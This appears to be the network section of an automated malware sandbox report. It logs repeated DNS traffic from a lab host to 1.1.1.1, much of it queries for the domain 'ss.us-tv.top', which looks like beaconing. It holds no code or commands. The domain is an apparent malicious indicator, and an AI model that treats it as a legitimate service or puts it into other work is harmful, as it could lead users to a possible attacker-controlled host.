Nov 2, 2024 03:58:02.259136915 CET	53	60103	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:02.259334087 CET	60103	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:02.266078949 CET	53	60103	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:02.488848925 CET	53	43787	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:02.489109993 CET	43787	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:02.495760918 CET	53	43787	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:03.512542009 CET	44989	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:03.513315916 CET	52485	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:03.520497084 CET	53	52485	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:03.520783901 CET	52485	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:03.527431965 CET	53	52485	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:03.609438896 CET	53	44989	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:03.609620094 CET	44989	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:03.616332054 CET	53	44989	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:04.625374079 CET	38616	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:04.626116037 CET	33428	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:04.632683992 CET	53	38616	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:04.632793903 CET	38616	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:04.633202076 CET	53	33428	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:04.633270979 CET	33428	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:04.639272928 CET	53	38616	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:04.639831066 CET	53	33428	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:05.771287918 CET	40690	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:05.772504091 CET	35778	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:05.779405117 CET	53	35778	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:05.779536963 CET	35778	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:05.786007881 CET	53	35778	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:05.989674091 CET	53	40690	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:05.989905119 CET	40690	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:05.996260881 CET	53	40690	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:07.131040096 CET	54627	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:07.131314993 CET	51808	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:07.138030052 CET	53	54627	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:07.138127089 CET	54627	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:07.144906998 CET	53	54627	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:07.222332001 CET	53	51808	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:07.222551107 CET	51808	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:07.229065895 CET	53	51808	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:08.237044096 CET	38272	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:08.239535093 CET	47512	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:08.244509935 CET	53	38272	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:08.244605064 CET	38272	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:08.247072935 CET	53	47512	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:08.247138977 CET	47512	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:08.251321077 CET	53	38272	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:08.253632069 CET	53	47512	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:09.260792017 CET	52089	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:09.260894060 CET	47840	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:09.267980099 CET	53	47840	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:09.267992973 CET	53	52089	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:09.268076897 CET	47840	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:09.268095016 CET	52089	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:09.274590969 CET	53	52089	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:09.274665117 CET	53	47840	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:10.408463001 CET	58104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:10.410183907 CET	35141	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:10.415673018 CET	53	58104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:10.415756941 CET	58104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:10.422220945 CET	53	58104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:10.719634056 CET	53	35141	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:10.719830036 CET	35141	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:10.726921082 CET	53	35141	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:11.738017082 CET	47496	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:11.739618063 CET	47194	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:11.746012926 CET	53	47496	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:11.746118069 CET	47496	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:11.746802092 CET	53	47194	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:11.746877909 CET	47194	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:11.752737045 CET	53	47496	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:11.753650904 CET	53	47194	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:12.761965990 CET	53636	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:12.765268087 CET	48593	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:12.768665075 CET	53	53636	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:12.768758059 CET	53636	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:12.772198915 CET	53	48593	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:12.772272110 CET	48593	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:12.775538921 CET	53	53636	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:12.778721094 CET	53	48593	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:13.785707951 CET	52907	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:13.787461042 CET	45863	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:13.792639017 CET	53	52907	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:13.792732954 CET	52907	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:13.794490099 CET	53	45863	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:13.794559002 CET	45863	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:13.799180984 CET	53	52907	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:13.801392078 CET	53	45863	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:14.809184074 CET	54115	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:14.811762094 CET	32778	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:14.816225052 CET	53	54115	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:14.816327095 CET	54115	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:14.823566914 CET	53	54115	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:15.126746893 CET	53	32778	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:15.127084017 CET	32778	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:15.134362936 CET	53	32778	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:16.145216942 CET	48675	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:16.149249077 CET	34568	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:16.153122902 CET	53	48675	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:16.153248072 CET	48675	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:16.156158924 CET	53	34568	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:16.156236887 CET	34568	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:16.159879923 CET	53	48675	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:16.162754059 CET	53	34568	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:17.294754028 CET	56004	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:17.294913054 CET	51481	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:17.301700115 CET	53	56004	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:17.301824093 CET	56004	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:17.301958084 CET	53	51481	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:17.302027941 CET	51481	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:17.308480024 CET	53	56004	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:17.308501959 CET	53	51481	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:18.317516088 CET	35175	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:18.318762064 CET	56657	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:18.324542046 CET	53	35175	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:18.324666977 CET	35175	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:18.325555086 CET	53	56657	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:18.325634003 CET	56657	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:18.331267118 CET	53	35175	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:18.332056999 CET	53	56657	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:19.338373899 CET	57912	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:19.338957071 CET	57589	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:19.345935106 CET	53	57589	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:19.346060991 CET	57589	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:19.352709055 CET	53	57589	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:19.641587019 CET	53	57912	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:19.641829014 CET	57912	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:19.648185968 CET	53	57912	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:20.781661034 CET	47557	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:20.782799006 CET	37257	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:20.789077997 CET	53	47557	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:20.789297104 CET	47557	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:20.790250063 CET	53	37257	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:20.790328026 CET	37257	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:20.795924902 CET	53	47557	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:20.798593044 CET	53	37257	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:21.808108091 CET	58902	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:21.809020996 CET	42031	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:21.815041065 CET	53	58902	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:21.815134048 CET	58902	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:21.816013098 CET	53	42031	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:21.816083908 CET	42031	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:21.821598053 CET	53	58902	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:21.822592974 CET	53	42031	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:22.831178904 CET	55944	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:22.831350088 CET	55887	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:22.838069916 CET	53	55944	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:22.838160038 CET	55944	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:22.838884115 CET	53	55887	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:22.838964939 CET	55887	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:22.844896078 CET	53	55944	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:22.845419884 CET	53	55887	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:23.856045008 CET	39747	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:23.857666969 CET	54215	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:23.863059044 CET	53	39747	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:23.863142967 CET	39747	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:23.864772081 CET	53	54215	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:23.864844084 CET	54215	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:23.869837999 CET	53	39747	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:23.871421099 CET	53	54215	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:24.881083965 CET	45829	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:24.881673098 CET	60716	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:25.118645906 CET	53	60716	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:25.119066954 CET	60716	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:25.125559092 CET	53	60716	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:25.189860106 CET	53	45829	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:25.190133095 CET	45829	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:25.196779013 CET	53	45829	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:26.209206104 CET	38856	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:26.210072994 CET	51396	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:26.216495037 CET	53	38856	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:26.216609001 CET	38856	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:26.216852903 CET	53	51396	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:26.216914892 CET	51396	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:26.223860025 CET	53	38856	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:26.223870039 CET	53	51396	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:27.236077070 CET	60125	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:27.238302946 CET	46084	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:27.245409966 CET	53	46084	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:27.245524883 CET	46084	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:27.252135992 CET	53	46084	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:27.557904005 CET	53	60125	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:27.558273077 CET	60125	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:27.564954042 CET	53	60125	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:28.700690985 CET	40063	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:28.702624083 CET	59042	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:28.707631111 CET	53	40063	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:28.707736015 CET	40063	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:28.709747076 CET	53	59042	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:28.709835052 CET	59042	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:28.714207888 CET	53	40063	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:28.716387987 CET	53	59042	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:29.726243973 CET	60467	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:29.729279041 CET	51302	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:29.733078957 CET	53	60467	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:29.733191013 CET	60467	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:29.736316919 CET	53	51302	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:29.736421108 CET	51302	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:29.739682913 CET	53	60467	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:29.742914915 CET	53	51302	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:30.753931046 CET	45055	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:30.755640984 CET	44174	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:30.760523081 CET	53	45055	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:30.760665894 CET	45055	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:30.762470961 CET	53	44174	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:30.762543917 CET	44174	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:30.767811060 CET	53	45055	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:30.769097090 CET	53	44174	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:31.778193951 CET	44288	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:31.779467106 CET	46075	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:31.785337925 CET	53	44288	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:31.785444975 CET	44288	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:31.786577940 CET	53	46075	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:31.786648989 CET	46075	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:31.791883945 CET	53	44288	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:31.792932987 CET	53	46075	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:32.800582886 CET	44360	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:32.802978039 CET	33967	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:32.809969902 CET	53	33967	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:32.810142040 CET	33967	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:32.816659927 CET	53	33967	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:33.001816034 CET	53	44360	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:33.002059937 CET	44360	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:33.009524107 CET	53	44360	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:34.019236088 CET	36307	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:34.020297050 CET	52686	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:34.026657104 CET	53	36307	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:34.026784897 CET	36307	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:34.027297020 CET	53	52686	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:34.027395964 CET	52686	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:34.033412933 CET	53	36307	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:34.033864975 CET	53	52686	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:35.044605970 CET	48979	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:35.048535109 CET	45295	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:35.051772118 CET	53	48979	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:35.051878929 CET	48979	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:35.055326939 CET	53	45295	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:35.055409908 CET	45295	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:35.058341026 CET	53	48979	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:35.062191010 CET	53	45295	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:36.072299004 CET	53197	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:36.072873116 CET	41416	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:36.161411047 CET	53	41416	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:36.161674023 CET	41416	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:36.164000988 CET	53	53197	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:36.164139986 CET	53197	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:36.168204069 CET	53	41416	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:36.171212912 CET	53	53197	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:37.180315971 CET	58221	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:37.184262037 CET	43980	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:37.187403917 CET	53	58221	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:37.187536001 CET	58221	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:37.191132069 CET	53	43980	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:37.191286087 CET	43980	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:37.193919897 CET	53	58221	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:37.197761059 CET	53	43980	1.1.1.1	192.168.2.15

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 2, 2024 03:57:15.201662064 CET	192.168.2.15	1.1.1.1	c233	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 2, 2024 03:56:42.089231968 CET	192.168.2.15	1.1.1.1	0x5078	Standard query (0)	www.google.com	28	IN (0x0001)	false
Nov 2, 2024 03:56:42.091625929 CET	192.168.2.15	1.1.1.1	0x4112	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:42.115063906 CET	192.168.2.15	1.1.1.1	0x9033	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:42.116313934 CET	192.168.2.15	1.1.1.1	0x466b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:42.204483032 CET	192.168.2.15	1.1.1.1	0x466b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:42.208923101 CET	192.168.2.15	1.1.1.1	0x9033	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:43.226552010 CET	192.168.2.15	1.1.1.1	0xaf0e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:43.227932930 CET	192.168.2.15	1.1.1.1	0xb7d0	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:43.314872026 CET	192.168.2.15	1.1.1.1	0xaf0e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:43.316638947 CET	192.168.2.15	1.1.1.1	0xb7d0	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:44.335306883 CET	192.168.2.15	1.1.1.1	0x8f8	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:44.335525036 CET	192.168.2.15	1.1.1.1	0x4904	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:44.423935890 CET	192.168.2.15	1.1.1.1	0x8f8	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:44.425055981 CET	192.168.2.15	1.1.1.1	0x4904	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:45.440056086 CET	192.168.2.15	1.1.1.1	0xd82f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:45.442922115 CET	192.168.2.15	1.1.1.1	0xdfca	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:45.532318115 CET	192.168.2.15	1.1.1.1	0xdfca	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:45.684179068 CET	192.168.2.15	1.1.1.1	0xd82f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:45.696073055 CET	192.168.2.15	1.1.1.1	0xd82f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:47.368201017 CET	192.168.2.15	1.1.1.1	0xea4d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:47.368772030 CET	192.168.2.15	1.1.1.1	0x8e2c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:47.580143929 CET	192.168.2.15	1.1.1.1	0xea4d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:47.687037945 CET	192.168.2.15	1.1.1.1	0x8e2c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:48.701716900 CET	192.168.2.15	1.1.1.1	0x6e8c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:48.704425097 CET	192.168.2.15	1.1.1.1	0xec67	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:48.712913036 CET	192.168.2.15	1.1.1.1	0xec67	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:48.794533968 CET	192.168.2.15	1.1.1.1	0x6e8c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:49.809952021 CET	192.168.2.15	1.1.1.1	0x8493	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:49.810448885 CET	192.168.2.15	1.1.1.1	0xf3c5	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:49.817320108 CET	192.168.2.15	1.1.1.1	0x8493	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:49.902504921 CET	192.168.2.15	1.1.1.1	0xf3c5	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:50.916783094 CET	192.168.2.15	1.1.1.1	0x5914	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:50.918472052 CET	192.168.2.15	1.1.1.1	0xbafe	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:50.923816919 CET	192.168.2.15	1.1.1.1	0x5914	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:51.129880905 CET	192.168.2.15	1.1.1.1	0xbafe	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:52.144366980 CET	192.168.2.15	1.1.1.1	0x7c09	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:52.145082951 CET	192.168.2.15	1.1.1.1	0x45f4	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:52.239846945 CET	192.168.2.15	1.1.1.1	0x7c09	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:52.240056038 CET	192.168.2.15	1.1.1.1	0x45f4	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:53.253268003 CET	192.168.2.15	1.1.1.1	0x9c43	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:53.253410101 CET	192.168.2.15	1.1.1.1	0xcf59	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:53.260473967 CET	192.168.2.15	1.1.1.1	0x9c43	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:53.260566950 CET	192.168.2.15	1.1.1.1	0xcf59	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:54.275136948 CET	192.168.2.15	1.1.1.1	0x3bf1	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:54.277071953 CET	192.168.2.15	1.1.1.1	0x73f0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:54.365483999 CET	192.168.2.15	1.1.1.1	0x73f0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
